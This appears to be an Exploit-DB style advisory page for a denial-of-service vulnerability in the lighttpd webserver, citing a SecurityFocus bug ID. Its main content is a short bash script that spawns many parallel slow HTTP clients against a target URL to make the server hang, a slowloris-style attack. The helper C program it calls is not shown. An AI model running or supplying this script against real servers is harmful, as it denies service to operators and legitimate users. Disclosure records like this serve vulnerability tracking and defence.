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lighttpd webserver
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Denial-of-Service
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CWE
Product Name: lighttpd webserver
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: Unknown
Related CWE: Unknown
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Denial-of-Service vulnerability in lighttpd webserver

Remote attackers can exploit this issue to cause the application to hang, denying service to legitimate users.

Mitigation:

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Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/38036/info

The 'lighttpd' webserver is prone to a denial-of-service vulnerability.

Remote attackers can exploit this issue to cause the application to hang, denying service to legitimate users. 

##slow_test.sh
for ((j=0;j<1000;j++)) do
  for ((i=0; i<50; i++)) do
  ## slow_client is a C program which sends a HTTP request very slowly
    ./slow_client http://www.example.com/>/dev/null 2>/dev/null &
  done&
  sleep 3
done